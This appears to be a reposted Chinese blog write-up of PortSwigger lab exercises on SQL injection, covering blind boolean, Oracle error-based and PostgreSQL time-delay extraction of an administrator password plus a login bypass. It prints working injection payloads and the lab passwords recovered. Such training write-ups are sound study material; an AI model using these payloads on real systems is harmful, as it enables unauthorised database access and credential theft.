portswigger靶场SQL注入实验(下)

Posted bay0net

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了portswigger靶场SQL注入实验(下)相关的知识,希望对你有一定的参考价值。

实验9



点击了home之后页面给了回显,猜测后面进行盲注的时候要利用此回显来判断,打开bp吧

注入点在trackingid这,简单判断一下


存在注入,下面判断一下是否存在表users,表里是否存在名为administrator的用户以及密码password有多少字符

为真,存在users表,接着查用户

后面判断password的长度

大于1为真,扩大点看看

大于30无回显,长度应该是小于30的,具体多少跑一下payload吧


选择number范围1-30

到20,在确定了密码的长度之后最后做的事情就是跑出这个密码的内容

用substring()函数从1开始每次扩大1来跟后面的a-z,0-9做对比,找出每一位返回为真的值组合在一起就是密码




排出来就是密码了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
y s l j q 8 w g 3 r q s 7 x d j 9 1 q t

ysljq8wg3rqs7xdj91qt拿去登录即可

实验10


有暗示看一眼


应该是这块内容


单引号语法错误,闭合正常,所以结合题目可以使用构造语法错误来进行攻击
暗示既然说了这里是oracle数据库,那我们根据oracle数据库的特性不妨验证一下

' || (select '') || '
' || (select '' from dual) || '



通过验证确定为oracle数据库,后面还像实验9那样判断表,用户名,密码字段数及具体内容

' || (select '' from users where rownum =1) || '
rownum=1 防止查询的时候返回多行


接下来回过头来看看刚刚备忘录上的条件错误语句

' || (select case when (1=1) then to_char(1/0) else '' end from dual) ||'
when的条件成立时,会执行then后的内容,若不成立,则返回else后的内容


执行成功1/0报错
下面验证是否存在目标用户

' || (select case when (1=1) then to_char(1/0) else '' from users where username='administrator') || '
有一点需要注意,SQL语句的先判断where后面的内容,也就是说如果此用户不存在或者1=1不成立的时候返回状态码都是200


返回错误,即存在该用户

' ||(select case when length(password)>1) then to_char(1/0) else '' from users where username='administrator' || '
' ||(select case when length(password)>2) then to_char(1/0) else '' from users where username='administrator' || '
....

判断密码位数,可以直接用payload跑,这里我猜几个实验都差不多应该都是20位

' || (select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator') || '

跟上个实验一样拿payload直接跑




老样子排个序就好了

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
0 7 0 q 9 7 s 2 1 n z t o c 2 9 g c o g

070q97s21nztoc29gcog拿去登录即可

实验11


看眼暗示

查看清单

四个不同类型的数据库的延迟语句,我们只要确定了是哪种并且成功延迟,本实验就完成了

mysql正常返回,下一个

白了

10秒成功延时

实验12


应该是在上个实验的基础上,查询信息,所以数据库类型应该没变

验证一下有条件延迟语句的作用

' || (select case when(1=1) then pg_sleep(10) else pg_sleep(-1) end) -- 


成功延时

' || (select case when(1=2) then pg_sleep(10) else pg_sleep(-1) end) -- 


正常显示
利用when里面的条件判断用户名

' || (select case when(username='administrator') then pg_sleep(10) else pg_sleep(-1) end from users) --


成功延迟即存在

' || (select case when(username='administrator' and length(password)>1) then pg_sleep(10) else pg_sleep(-1) end from users) --


盲猜还是20长度
唔~自己私底下偷偷验证一下就好了…

' || (select case when(username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(-1) end from users) --

直接payload跑



这个版本的burp我没找到调线程的位置,跑出来都是一样的看不出来时间长短,裂开
不过做法就是这样

缺个这玩意

实验13


这个我选择先放这,有点复杂,过段时间再来研究

实验14

同13一样,看着挺复杂结合了XXE,后面时间充足了会研究然后补更

实验15


按照要求带入‘ or 1=1 – 就行了

实验16



绕过登录就行

administrator'or 1=1 --
即可绕过

一整天人都麻了,后半部分实验做吐了快,暂时就这样了,溜了…

以上是关于portswigger靶场SQL注入实验(下)的主要内容,如果未能解决你的问题,请参考以下文章

BP靶场portswigger-客户端11跨站点脚本XSS-10个实验(下)

BP靶场portswigger-服务端3目录遍历漏洞-6个实验(全)

BP靶场portswigger-服务端7访问控制漏洞和权限提升-11个实验(全)

BP靶场portswigger-客户端11跨站点脚本XSS-20个实验(上)

BP靶场portswigger-客户端13跨来源资源共享(CORS)-4个实验(全)

sql注入靶场搭建